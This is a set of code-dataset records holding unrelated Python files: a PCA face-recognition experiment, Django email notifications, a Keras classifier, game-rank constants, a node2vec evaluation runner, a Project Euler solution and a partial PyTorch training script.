appropriate dimensions\ntrain_data = np.zeros((D, no_train))\ntest_data = np.zeros((D, no_test))\ntrain_labels = np.zeros((1, no_train))\ntest_labels = np.zeros((1, no_test))\n\n# Filling in the arrays from face data\nfor i in range(num_people):\n person_faces = face_data[:, IMAGES_PER_PERSON*i:(IMAGES_PER_PERSON*i)+IMAGES_PER_PERSON]\n train_data[:, TRAIN_RAT*i:(TRAIN_RAT*i)+TRAIN_RAT] = person_faces[:, 0:TRAIN_RAT] # Separate 8 of the same person's face in the training set\n train_labels[0, TRAIN_RAT*i:(TRAIN_RAT*i)+TRAIN_RAT] = i+1\n test_data[:, TEST_RAT*i:(TEST_RAT*i)+TEST_RAT] = person_faces[:, TRAIN_RAT:] # Separate 2 of the same person's face in the testing set\n test_labels[0, TEST_RAT*i:(TEST_RAT*i)+TEST_RAT] = i+1\n\n\"Separate training set into 4 training subsets \"\ntraining_set_a = np.zeros((D, 104))\ntraining_set_b = np.zeros((D, 104))\ntraining_set_c = np.zeros((D, 104))\ntraining_set_d = np.zeros((D, 104))\ntrain_labels_set = np.zeros((1, 104))\n\nfor i in range(num_people):\n person_faces = train_data[:, 8 * i:(8 * i) + 8]\n training_set_a[:, 2 * i:(2 * i) + 2] = person_faces[:, 0:2]\n training_set_b[:, 2 * i:(2 * i) + 2] = person_faces[:, 2:4]\n training_set_c[:, 2 * i:(2 * i) + 2] = person_faces[:, 4:6]\n training_set_d[:, 2 * i:(2 * i) + 2] = person_faces[:, 6:8]\n train_labels_set[0, 2 * i:(2 * i) + 2] = i + 1\nTRAINING_SETS = [training_set_a, training_set_b, training_set_c, training_set_d]\n\n\"\"\" BATCH PCA FUNCTIONS \"\"\"\ndef compute_avface_cardinality_phimatrix(data):\n \"\"\"\n :param data: can be either training or testing\n :return: avg_face, N, A\n \"\"\"\n N = data.shape[1] # Cardinality: No of cols = no of images N\n\n avg_face = np.mean(data, axis=1) # returns \"col vector\" of average image, rankless array with dims Dx1\n # print(avg_face.shape)\n\n # Subtract mean from every face: A = [x1 - x_mean, x2 - x_mean, ...]\n A = data - np.reshape(avg_face, (len(avg_face), 1)) # 2nd term makes avg_face have a rank, A dims =DXN\n # print('Shape of A is : DxN ', A.shape)\n\n return N, avg_face, A\n\ndef compute_lowdim_pca(training_data):\n \"\"\"\n :param training_data: obtained from data preparation\n :return: eigenvalues and eigenvectors of lowdim PCA and time taken to run\n \"\"\"\n\n start_time = time.time()\n\n N, avg_face, A = compute_avface_cardinality_phimatrix(training_data)\n\n lowdim_matrix = np.matmul(A.T, A)/N\n eigvals, eigvecs = np.linalg.eig(lowdim_matrix)\n eigvals_rounded = (np.round(eigvals, 2)).real\n eigvals = eigvals.real\n eigvecs = eigvecs.real\n\n lowdim_eigvecs = np.matmul(A, eigvecs)\n\n mag_lowdim_eigvecs = np.linalg.norm(lowdim_eigvecs, axis=0)\n reshaped = np.reshape(mag_lowdim_eigvecs, (1, len(mag_lowdim_eigvecs)))\n norm_lowdim_eigvecs = lowdim_eigvecs / reshaped # Normalised eigenvectors\n\n print('No of nonzero eigenvalues for low dim PCA: {}'.format(np.unique(eigvals_rounded).size))\n # test = np.matmul( (norm_lowdim_eigvecs[:, 0]).T, norm_lowdim_eigvecs[:, 0])\n\n # lowdim PCA is randomly organized (shifted around a bit) after 70 vecss in so it is necessary to resort\n idx = eigvals.argsort()[::-1]\n eigvals = eigvals[idx]\n norm_lowdim_eigvecs = norm_lowdim_eigvecs[:, idx]\n\n run_time = time.time() - start_time #Returns low dim run time\n\n return norm_lowdim_eigvecs.real, eigvals, run_time\n\n#Trainingsets for question 2!\ntraining_set = np.concatenate(((training_set_a, training_set_b)), axis=1)\ntraining_set_2 = np.concatenate(((training_set, training_set_c)), axis=1)\ntraining_set_3 = np.concatenate(((training_set_2, training_set_d)), axis=1)\n\n#CALCULATING BATCH PCA FOR WHOLE SUBSET AND TRAINING SUBSET\nlow_eigvecs, low_eigvals, lowdim_runtime = compute_lowdim_pca(train_data) #Returns runtime for entire training data\nlow_eigvecs_single, low_eigvals_single, lowdim_runtime_single = compute_lowdim_pca(training_set_3) #Returns runtime for one subset of training data\nprint(lowdim_runtime_single)\n\n\ndef face_reconstruct_batch(data, M, eigvecs1):\n \"\"\"\n :param data: Training OR testing\n :param M: Lowdim bases used for reconstruction\n :return: Reconstruction Error for Each image, and projection coefficent matrix\n \"\"\"\n\n N, avg_face, A = compute_avface_cardinality_phimatrix(data)\n\n # Each row in wn contains the projection coefficients for one datapoint (image)\n wn = np.matmul(A.T, eigvecs1[:, 0:M].real) # NxD * DxM, Project faces onto eigenvector values, project coefficients: shape NxM\n\n reconst_faces = np.zeros((D, N))\n\n for num in range(N):\n proj_cofs_datapoint = wn[num, :]\n reconst_face = avg_face + np.matmul(eigvecs1[:, 0:M].real, proj_cofs_datapoint) # Can do this because no ruch thing as \"row\" or \"col\" vector\n reconst_faces[:, num] = reconst_face\n\n recon_error_for_each_image = np.sum((np.linalg.norm(data-reconst_faces)) **2) / N\n\n return recon_error_for_each_image, wn\n\ndef compute_NN(wn_train, wn_test):\n \"\"\"\n Nearest neighbour function: Calculates the difference between eigenface projections of test image with each training image\n Finds the minimum summed absolute difference\n Assigns test data an index of the training data with the minimum summed difference\n\n :param wn_train: Matrix of eigenspace coefficients for training data\n :param wn_test: Single col vector of SINGLE test image eigenspace coefficients\n :return: index of label identified\n \"\"\"\n # 1. Find difference values: w - wn , dimension MxN: M is number of bases, N is no of training images used\n\n recognition_vector = np.linalg.norm((wn_train.T - np.reshape(wn_test, (len(wn_test), 1))), axis=0) # Note wn must be transposed!\n index = np.argmin(recognition_vector)\n # index = np.argwhere(np.min(recognition_vector))\n\n\n return index\n\n\n\"\"\" QUESTION 2 FUNCTIONS \"\"\"\n\ndef compute_avface_N_S(data):\n \"\"\"\n :param data: can be either training or testing\n :return: avg_face, N, A\n \"\"\"\n N = data.shape[1] # Cardinality: No of cols = no of images N\n\n avg_face = np.mean(data, axis=1) # returns \"col vector\" of average image, rankless array with dims Dx1\n # print(avg_face.shape)\n\n # Subtract mean from every face: A = [x1 - x_mean, x2 - x_mean, ...]\n A = data - np.reshape(avg_face, (len(avg_face), 1)) # 2nd term makes avg_face have a rank, A dims =DXN\n\n S = np.matmul(A, A.T)/N # High dimensional\n\n fake_S = np.matmul(A.T, A)/N # Low dimensional\n\n # print('Shape of A is : DxN ', A.shape)\n\n return avg_face, N, S, A, fake_S\n\ndef compute_combined_data(set1, set2):\n \"\"\"\n :param set1: The base set to which another set (usually smaller) will be added to\n :param set2: The smaller set added to the base set\n :return:\n \"\"\"\n\n #Perform PCA on set 1\n start_time = time.time()\n\n avface1, N1, S1, A1, fake_S1 = compute_avface_N_S(set1)\n eigvals1, eigvecs1 = np.linalg.eig(fake_S1) #Reduction of covariance matrix: NxN\n eigvecs1 = np.matmul(A1, eigvecs1) #DxN * NxN --> D*N\n eigvecs1 = eigvecs1 / np.linalg.norm(eigvecs1, axis=0) #Normalise the eigenvectors\n\n run_time_set1 = time.time() - start_time #Runtime of set 1 : How long it takes to compute PCA on Set 1\n\n eigvals1 = eigvals1.real\n eigvecs1 = eigvecs1.real\n idx = eigvals1.argsort()[::-1]\n eigvals1 = eigvals1[idx]\n P1 = eigvecs1[:, idx] #Returns P1 eigenvectors\n\n\n #Perform PCA on set 2\n start_time_2 = time.time()\n avface2, N2, S2, A2, fake_S2 = compute_avface_N_S(set2)\n eigvals2, eigvecs2 = np.linalg.eig(fake_S2)\n eigvecs2 = np.matmul(A2, eigvecs2)\n eigvecs2 = eigvecs2 / np.linalg.norm(eigvecs2, axis=0) #Normalise the eigenvectors\n\n run_time_set2 = time.time() - start_time_2 #Runtime of set 2 : How long it takes to compute PCA on Set 2\n\n #Ordering eigenvalues in descending order\n eigvals2 = eigvals2.real\n eigvecs2 = eigvecs2.real\n idx = eigvals2.argsort()[::-1]\n eigvals2 = eigvals2[idx]\n P2 = eigvecs2[:, idx]\n\n start_time_3 = time.time()\n N3 = N1 + N2\n avface3 = (N1 * avface1 + N2 * avface2)/N3\n mean_diff = avface1 - avface2\n S3 = (N1/N3) * S1 + (N2/N3) * S2 + ((N1*N2)/(N3**2)) * np.matmul(mean_diff, mean_diff.T)\n run_time_set3 = time.time() - start_time_3 #Run_time_set 3 is 1st part of meerging time: how long it takes to combine Set 1 and Set 2: ie find S3 and N3\n\n return avface3, N3, S3, P1, P2, avface1, avface2, run_time_set1, run_time_set2, run_time_set3\n\ndef compute_ssmatrix(P1, P2, m1_2, d1, d2):\n \"\"\"\n Computing PHI (sufficient spanning matrix)\n param: P1 : eigenvectors for set A : each column is an eigenvector\n param: P2: eigenvectors for set B : each column is an eigenvector\n param: m1_2: avg_face1 - avg_face2\n param: d : Number of significant eigenvectors for set 1\n param: d: number of significant eigenvector for set 2\n return: phi = 2x3\n \"\"\"\n\n # Obtain only the first d1 and d2 eigenvectors from P1 and P2\n P_d1 = P1[:, 0: d1]\n P_d2 = P2[:, 0: d2]\n\n # Combine the arrays one array X: should have Dx(d1+d2+1) dimensions\n intermediate = np.concatenate((P_d1, P_d2), axis=1)\n X = np.concatenate((intermediate, np.reshape(m1_2, (D, 1))), axis=1)\n\n # Returns orthonormal basis array: Q of dimensions d1+d2+1 using gram schmidt orthonormalization function\n PHI, R = np.linalg.qr(X) #PHI is of dimensions Dx(d1+d2+1)\n\n return PHI\n\ndef compute_P3(PHI, S3):\n\n first_mat_mul = np.matmul(PHI.T, S3)\n second_mat_mul = np.matmul(first_mat_mul, PHI)\n R1, eigvals_3, R2 = np.linalg.svd(second_mat_mul) #SVD returns the eigenvectors of matrix product\n\n return R1, eigvals_3, R2\n\n\n\"\"\" Calculating final P3 \"\"\"\n\ntraining_set = np.array(training_set_a)\n\nrun_times_set1 = []\nrun_times_set2 = []\nrun_times_set3 = []\nmerge_times = []\n\nstart_time_tot = time.time() #Start\n\n\ndef compute_avface_cardinality_phimatrix(data):\n \"\"\"\n :param data: can be either training or testing\n :return: avg_face, N, A\n \"\"\"\n N = data.shape[1] # Cardinality: No of cols = no of images N\n avg_face = np.mean(data, axis=1) # returns \"col vector\" of average image, rankless array with dims Dx1\n # print(avg_face.shape)\n\n # Subtract mean from every face: A = [x1 - x_mean, x2 - x_mean, ...]\n A = data - np.reshape(avg_face, (len(avg_face), 1)) # 2nd term makes avg_face have a rank, A dims =DXN\n # print('Shape of A is : DxN ', A.shape)\n\n return N, avg_face, A\n\ndef face_reconstruct_incremental(data, M):\n \"\"\"\n :param data: Training OR testing\n :param M: Lowdim bases used for reconstruction\n :return: Reconstruction Error for Each image, and projection coefficent matrix\n\n \"\"\"\n N, avg_face, A = compute_avface_cardinality_phimatrix(data)\n\n\n # Each row in wn contains the projection coefficients for one datapoint (image)\n # wn_batch = np.matmul(A.T, low_eigvecs[:, 0:M].real) # NxD * DxM, Project faces onto eigenvector values, project coefficients: shape NxM\n wn_incr = np.matmul(A.T, P3[:, 0:M].real)\n reconst_faces = np.zeros((D, N))\n\n for num in range(N):\n proj_cofs_datapoint = wn_incr[num, :]\n reconst_face = avg_face + np.matmul(P3[:, 0:M].real, proj_cofs_datapoint) # Can do this because no ruch thing as \"row\" or \"col\" vector\n reconst_faces[:, num] = reconst_face\n recon_error_for_each_image = np.sum((np.linalg.norm(data-reconst_faces)) **2) / N\n return recon_error_for_each_image, wn_incr\n\n#Obtains final P3 needed for incremental PCA\nfor ix, set in enumerate(TRAINING_SETS[0:3]):\n\n # Computes P1, P2, S3, N3\n avface3, N3, S3, P1, P2, avface1, avface2, run_time_set1, run_time_set2, run_time_set3 = compute_combined_data(training_set, TRAINING_SETS[ix+1])\n\n run_times_set1.append(run_time_set1) #Times for PCA on set 1\n run_times_set2.append(run_time_set2) #Times for PCA on set 2\n run_times_set3.append(run_time_set3) #First part of merging: calculating S3 and N3 : second part of merging is finding P3 and Lamda 3\n\n #Finding P3 and Lamda 3\n start_time = time.time() #Second part of merging: fidning PHI, R and finally P3\n\n avface_diff = avface1 - avface2 #M1 - M2\n PHI = compute_ssmatrix(P1, P2, avface_diff, 104*(ix+1),104) #50*(ix+1) #Finding PHI\n R1, eigvals3, R2 = compute_P3(PHI, S3) #Finding R\n P3 = np.matmul(PHI, R1) #Finding P3\n idx = eigvals3.argsort()[::-1] #Sorting P3 in order\n P3 = P3[:, idx]\n\n merge_time = time.time() - start_time #Second part of merging: for every new set\n merge_times.append(merge_time) #Merge time append contains all the merging times, for every set\n\n training_set = np.concatenate(((training_set, TRAINING_SETS[ix+1])), axis=1) #Concatenates the training sets\n\ntraining_model_time = time.time() - start_time_tot #Total training time for incremental PCA\n\"\"\" Recognition error for M = 50 using different parameters of d1, d2\n\"\"\"\n\nM = 100\nerror, wn_inc = face_reconstruct_incremental(train_data, M)\nprint('Reconstruction error for M = 100 ', error)\n\n\nprint('Debug')\n\"\"\" COMPARING RECONSTRUCTION ERROR FUNCTIONS \"\"\"\n\n#Reconstruction error arrays : training data\nrecon_error_batch = []\nrecon_error_batch_single = []\nrecon_error_inc = []\n\n#Recognition errors:\nassigned_labels_batch = []\nassigned_labels_batch_single = []\nassigned_labels_inc = []\nactual_labels = []\n\n#Accuracies for each M\naccuracy_batch = []\naccuracy_single = []\naccuracy_inc = []\n\nN = 400\n#Plotting reconstruction and recognitino error for each method\nfor m in range(5, N, 1):\n\n #BATCH\n error, wn_batch = face_reconstruct_batch(train_data, m, low_eigvecs)\n error, wn_batch_test = face_reconstruct_batch(test_data, m, low_eigvecs)\n recon_error_batch.append(error)\n\n #BATCH SINGLE\n #error, wn_single = face_reconstruct_batch(training_set_a, m, low_eigvecs_single)\n #error, wn_single_test = face_reconstruct_batch(test_data, m, low_eigvecs_single)\n #recon_error_batch_single.append(error)\n\n #INCREMENTAL\n error, wn_inc = face_reconstruct_incremental(train_data, m)\n error, wn_inc_test = face_reconstruct_incremental(test_data, m)\n recon_error_inc.append(error)\n\n\n #RECOGNITION ACCURACIES\n for img in range(test_data.shape[1]):\n\n #perform recognition on each image\n index_batch = compute_NN(wn_batch, wn_batch_test[img, :])\n #index_single = compute_NN(wn_single, wn_single_test[img, :])\n index_inc = compute_NN(wn_inc, wn_inc_test[img, :])\n\n #BATCH PCA\n assigned_label_batch = train_labels[0, index_batch]\n assigned_labels_batch.append(assigned_label_batch)\n\n # BATCH SINGLE PCA\n #assigned_label_batch_single = train_labels[0, index_single]\n #assigned_labels_batch_single.append(assigned_label_batch_single)\n\n #INCREMENTAL PCA\n assigned_label_inc = train_labels[0, index_inc]\n assigned_labels_inc.append(assigned_label_inc)\n\n #test image labels\n actual_label = test_labels[0, img]\n actual_labels.append(actual_label)\n\n\n #BOOL ACCURACY, BATCH\n bool_batch = np.array(actual_labels) == np.array(assigned_labels_batch) # Fixed bool array syntax\n a_batch = np.sum(bool_batch * 1) / np.size(bool_batch)\n accuracy_batch.append(a_batch)\n\n #BOOL ACCURACY, SINGLE\n #bool_single = np.array(actual_labels) == np.array(assigned_labels_batch_single) # Fixed bool array syntax\n #a_single = np.sum(bool_single * 1) / np.size(bool_single)\n #accuracy_single.append(a_single)\n\n #BOOL ACCURACY, INC\n bool_inc = np.array(actual_labels) == np.array(assigned_labels_inc) # Fixed bool array syntax\n a_inc = np.sum(bool_inc * 1) / np.size(bool_inc)\n accuracy_inc.append(a_inc)\n\n\n#PLOTTING RECONSTRUCTION ACCURACIES\n#plt.plot(range(5, N, 1), recon_error_inc, label = 'Inc PCA')\nplt.plot(range(5, N, 1), recon_error_batch, label = 'Batch PCA')\n#plt.plot(range(5, N, 1), recon_error_batch_single, label = 'Batch PCA on single subset')\nplt.legend()\nplt.xlabel('M values')\nplt.ylabel('Reconstruction error')\nplt.title('Reconstruction error (training) comparisons')\nplt.show()\n\n\n#PLOTTING RECOGNITION ACCURACIES\n#plt.plot(range(5, N, 1), 100*np.asarray(accuracy_inc), label = 'Inc PCA')\nplt.plot(range(5, N, 1), 100*np.asarray(accuracy_batch), label = 'Batch PCA')\n#plt.plot(range(5, N, 1), 100*np.asarray(accuracy_single), label = 'Batch PCA on single subset')\nplt.legend()\nplt.xlabel('M values')\nplt.ylabel('Recognition accuracy')\nplt.title('Recognition accuracy for Low Dimensional PCA')\nplt.show()\n\n\nprint('debug')","sub_path":"plotting_reconstruction_errors.py","file_name":"plotting_reconstruction_errors.py","file_ext":"py","file_size_in_byte":19654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"468844486","text":"from django.core.mail import send_mail\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.http.response import HttpResponse\n\ndef notifyUser(u, m,pname):\n subject = 'CodeLink: You have been added to a project.'\n message = 'You have been added to the project ' + pname + ' as a '+m.mem_type+'. Log in to view the project here.\\nhttp://codelink.me' \n from_email = settings.EMAIL_HOST_USER\n send_mail(subject, message,from_email,[u.email],fail_silently=True)\n\ndef notifyUser2(request):\n pname = 'big duck project'\n subject = 'You have been added to a project'\n message = 'steven has added you to the project ' + pname + '.\\nLog in to view the project here.\\nhttp://codelink.me' \n from_email = settings.EMAIL_HOST_USER\n send_mail(subject, message,from_email,['rmevans88@gmail.com'],fail_silently=True)\n return HttpResponse(\"success?\")\n\n#need to fill in code for actual authentication\ndef verifyUser(u): \n subject = 'codelink account confirmation'\n message = 'Hey ' + u.username + ', welcome to codelink. We need to verify your email in order to activate your ' + 'account. Please click the link below to complete the verification process'\n from_email = settings.EMAIL_HOST_USER\n send_mail(subject, message, from_email, [u.email], fail_silently=True)\n ","sub_path":"codeapp/views/view_email.py","file_name":"view_email.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"551642162","text":"from tensorflow.keras.models import load_model\nimport pickle\nimport numpy as np \nimport os\nimport cv2\n\n# define base path\nBASE_PATH = os.path.dirname(__file__)\n\n# image dimensions\nIMG_DIM = 224\n\n# load label mapper\nwith open(os.path.join(BASE_PATH, 'labels_mapper.pkl'), 'rb') as f:\n\tLABELS = pickle.load(f)\n\ntest_path = r'/media/gagandeep/2E92405C92402AA3/Work/UoN/Dissertation/Datasets/Prepared/Data/Hyundai_Veloster_2013/front/Hyundai_Veloster_2013_21_18_130_16_4_70_55_166_28_FWD_4_3_2dr_GBw.jpg'\n\nclass Classifier(object):\n\n\tdef __init__(self):\n\t\t# load model\n\t\tself.model = load_model(os.path.join(BASE_PATH, 'model_mobile_net.h5'))\n\t\t# image_path\n\t\tself.img = None\n\t\tself.res = None\n\n\tdef preprocess_image(self, img_path):\n\t\tself.img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE).astype(\"float32\")\n\t\tself.img = cv2.resize(self.img, (IMG_DIM, IMG_DIM))\n\t\tself.img = self.img/255.\n\t\tself.img = np.expand_dims(np.stack((self.img,)*3, axis=-1), axis=0)\n\n\tdef predict(self, img_path):\n\t\tself.preprocess_image(img_path)\n\t\tself.res = np.argmax(self.model.predict(self.img), axis=-1)[0]\n\t\treturn LABELS[self.res]","sub_path":"Monolith/Classify.py","file_name":"Classify.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"427870015","text":"\"\"\"\nConstants that are used globally\n\"\"\"\n\n# roman number to numerical except for unranked\nTIER_RANK_MAP = {\"I\": \"1\", \"II\": \"2\", \"III\": \"3\", \"IV\": \"4\"}\n\n# maximum number of players that can be added\nMAX_NUM_PLAYERS_TEAM = 10\n\n# tiers with default I rank numbers, which include master, grandmaster, challenger\nUNCOMMON_TIERS = [\"UNRANKED\", \"MASTER\", \"GRANDMASTER\", \"CHALLENGER\"]\n\n# for displaying uranked, master, grandmaster, challenger\nUNCOMMON_TIER_DISPLAY_MAP = {\n \"UNRANKED\": \"UR\",\n \"MASTER\": \"MA\",\n \"GRANDMASTER\": \"GM\",\n \"CHALLENGER\": \"CH\",\n}\nTIER_VALUE = {\n \"UNRANKED\": 3,\n \"IRON\": 1,\n \"BRONZE\": 2,\n \"SILVER\": 3,\n \"GOLD\": 4,\n \"PLATINUM\": 5,\n \"DIAMOND\": 6,\n # master, grandmaster, challenger only have lp points starting 0lp for master,\n # around 300lp for grandmaster and 650lp for master\n # these are not fixed lp points as they are assigned to GM or Challenger\n # depending on the ranking not based on how much lp points they have\n # Challenger: 1 ~ 300, GrandMaster: 301 ~ 1000\n \"MASTER\": 7,\n \"GRANDMASTER\": 7,\n \"CHALLENGER\": 7,\n}\n\nRANK_VALUE = {\"I\": 0.75, \"II\": 0.5, \"III\": 0.25, \"IV\": 0}\n","sub_path":"utils/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"595098116","text":"#!/usr/bin/env python\n# coding=utf-8\n# The example of embedding generation and classification demostration.\n# Royrong(royrong@tencent.com) 2018/10/24\n# The parameters are defined in conf.py\nimport argparse\nimport logging\nimport os\n\nimport conf\n\n\ndef parse_args():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--dataset', type=str, default='cora', required=True)\n\n\treturn parser.parse_args()\n\n\nif __name__ == \"__main__\":\n\targs = parse_args()\n\tdataset = args.dataset\n\n\tmethod = conf.method\n\tinput_folder = conf.input_folder + str(dataset)\n\n\toutput_folder = conf.output_folder + \"/\" + str(dataset)\n\n\tif not os.path.exists(output_folder):\n\t\tos.makedirs(output_folder)\n\n\tl = conf.l\n\tr = conf.r\n\tp = conf.p\n\n\td = conf.d\n\tk = conf.k\n\te = conf.e\n\tneg = conf.neg\n\tit = conf.it\n\temb_alpha = conf.emb_alpha\n\n\tres_file = os.path.join(output_folder, \"./%s.res\" % (method))\n\temb_file = os.path.join(output_folder, \"./%s.emb\" % (method))\n\tlogging.info(\"This is the demo for logistic regression using the embedding vectors\")\n\n\t# Performing example logistic regression\n\tif os.path.exists(emb_file):\n\t\tmax_iter = 300\n\t\tlr_cmd = \"python3 ./classifier/logistic_regression.py --verbose 0 --input_folder %s --emb_file %s --res_file %s --max_iter %d\" % (\n\t\t\tinput_folder, emb_file, res_file, it)\n\n\t\tos.system(lr_cmd)\n\telse:\n\t\tlogging.info(\"no emb file\")\n\t\texit(1)\n\tres_file = res_file + \".prec_rec\"\n\n\tif os.path.exists(res_file):\n\t\tfin = open(res_file, 'r')\n\t\tap = 0\n\t\tfor l in fin:\n\t\t\tap = ap + float(l.strip().split(' ')[-2])\n\t\tfout = open(os.path.join(output_folder, \"result_file\"), 'w')\n\t\tfout.write(\"object_value=%f\" % (ap))\n\t\tfout.close()\n\telse:\n\t\tlogging.info(\"No res file.\")\n\t\texit(1)\n","sub_path":"BGNN/Node2Vec/binary_classification.py","file_name":"binary_classification.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"88994137","text":"# For a prime p let S(p) = (∑ (p-k)!) mod(p) for 1 ≤ k ≤ 5.\n#\n# For example, if p=7,\n# (7-1)! + (7-2)! + (7-3)! + (7-4)! + (7-5)! = 6! + 5! + 4! + 3! + 2!\n# = 720 + 120 + 24 + 6 + 2 = 872.\n# As 872 mod(7) = 4, S(7) = 4.\n#\n# It can be verified that ∑ S(p) = 480 for 5 ≤ p < 100.\n#\n# Find ∑ S(p) for 5 ≤ p < 10^8.\n\n# THEORY:\n#\n# (p-1)! + (p-2)! = (p-1 + 1) * (p-2)! = p * (p-2)! = 0 mod p\n# So we can safely disregard the first two terms.\n#\n# (p-3)! + (p-4)! + (p-5)! = ((p-3)(p-4) + (p-4) + 1) * (p-5)!\n# = 9 * (p-5)! mod p.\n#\n# The numbers 1, ..., p-1 mod p form a cyclic multiplicative group of order p-1.\n# Thus they're generated by some Y.\n# Then (p-1)! = Y^0 * Y^1 * Y^2 * ... * Y^(p-2)\n# = Y^(0 + 1 + 2 + ... + (p-2))\n# = Y^( (p-2) * (p-1) / 2 )\n# = (-1)^(p-2)\n# = -1\n# because p is odd; therefore (p-1)! = (p-1) mod p, so (p-2)! = 1 mod p.\n#\n# It follows that S(p) = 9 * (p-2)^-1 * (p-3)^-1 * (p-4)^-1\n# = 9 * (-24)^-1 mod p\n# = -3 / 8 mod p.\n# If p % 4 = 1, then S(p) = -3 / 8 * (p^2 - 2 * p + 1).\n# If p % 4 = 3, then S(p) = -3 / 8 * (3 * p^2 - 4 * p + 1).\n\nfrom time import time\nimport sys\nsys.path.append(\"../Library\")\nfrom peresult import peresult\nfrom primefns import primesbelow\n\ndef solve(cap = 10 ** 8):\n primes = primesbelow(cap)\n result = 0\n for p in primes[2:]: # Ignoring 2 and 3\n if p % 4 == 1:\n result += -3 * (p ** 2 - 2 * p + 1) // 8 % p\n else:\n result += -3 * (3 * p ** 2 - 4 * p + 1) // 8 % p\n return result\n\nif __name__ == \"__main__\":\n start = time()\n peresult(381, solve(), time() - start)\n","sub_path":"Problems 301-400/p381_PrimeMinusKFactorial.py","file_name":"p381_PrimeMinusKFactorial.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544867742","text":"import torch\nimport torch.optim as optim\nimport numpy as np\nimport os, sys\nimport argparse\nimport time, datetime\nfrom functions import my_f1_score, my_acc_score, my_precision_score, weighted_cross_entropy_loss, wce_huber_loss, \\\n wce_huber_loss_8, my_recall_score, debug_ce, cross_entropy_loss, wce_dice_huber_loss\nfrom torch.nn import init\nfrom dataset import DataParser, gen_band_gt\nfrom model.model_812 import Net\nfrom PIL import Image\nimport shutil\nfrom torch.optim import lr_scheduler\nimport matplotlib.pyplot as plt\nfrom tensorboardX import SummaryWriter\nfrom utils import Logger, Averagvalue, weights_init, load_pretrained, save_mid_result,send_msn\nfrom os.path import join, split, isdir, isfile, splitext, split, abspath, dirname\n\n\"\"\"\nCreated by HaoRan\ntime: 11/5\ndescription:\n1. stage one training\n\"\"\"\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" 参数 \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nparser = argparse.ArgumentParser(description='PyTorch Training')\nparser.add_argument('--batch_size', default=5, type=int, metavar='BT',\n help='batch size')\n\n# =============== optimizer\nparser.add_argument('--lr', '--learning_rate', default=1e-3, type=float,\n metavar='LR', help='initial learning rate')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n help='momentum')\nparser.add_argument('--weight_decay', '--weight_decay', default=2e-2, type=float,\n metavar='W', help='default weight decay')\nparser.add_argument('--stepsize', default=4, type=int,\n metavar='SS', help='learning rate step size')\nparser.add_argument('--gamma', '--gm', default=0.1, type=float,\n help='learning rate decay parameter: Gamma')\nparser.add_argument('--maxepoch', default=1000, type=int, metavar='N',\n help='number of total epochs to run')\nparser.add_argument('--itersize', default=10, type=int,\n metavar='IS', help='iter size')\n# =============== misc\nparser.add_argument('--start_epoch', default=0, type=int, metavar='N',\n help='manual epoch number (useful on restarts)')\nparser.add_argument('--print_freq', '-p', default=10, type=int,\n metavar='N', help='print frequency (default: 50)')\nparser.add_argument('--gpu', default='0', type=str,\n help='GPU ID')\n\nparser.add_argument('--resume', default='/home/liu/chenhaoran/Mymodel/save_model/model_stage_one_casia_template_sp_train/1211_casia_template_sp_negative_checkpoint28-stage1-0.151637-f10.713804-precision0.859841-acc0.987976-recall0.627347.pth', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\nparser.add_argument('--tmp', help='tmp folder', default='tmp/HED')\nparser.add_argument('--mid_result_root', type=str, help='mid_result_root', default='./save')\nparser.add_argument('--model_save_dir', type=str, help='model_save_dir', default='./save_model/stage1_template_cod10k_cm_sp_negative_train')\nparser.add_argument('--mid_result_index', type=list, help='mid_result_index', default=[0])\nparser.add_argument('--per_epoch_freq', type=int, help='per_epoch_freq', default=50)\n\nparser.add_argument('--fuse_loss_weight', type=int, help='fuse_loss_weight', default=12)\n# ================ dataset\n\nparser.add_argument('--dataset', help='root folder of dataset', default='dta/HED-BSD')\nparser.add_argument('--band_mode', help='weather using band of normal gt', type=bool, default=True)\nparser.add_argument('--save_mid_result', help='weather save mid result', type=bool, default=False)\nargs = parser.parse_args()\n\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" 路径 \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nmodel_save_dir = abspath(dirname(__file__))\nmodel_save_dir = join(model_save_dir, args.model_save_dir)\nif not isdir(model_save_dir):\n os.makedirs(model_save_dir)\n\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\" ↓↓↓↓需要修改的参数↓↓↓↓ \"\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n\n\n# tensorboard 使用\nwriter = SummaryWriter(\n 'runs/' + '1225_%d-%d_tensorboard_TEST' % (datetime.datetime.now().month, datetime.datetime.now().day))\noutput_name_file_name = 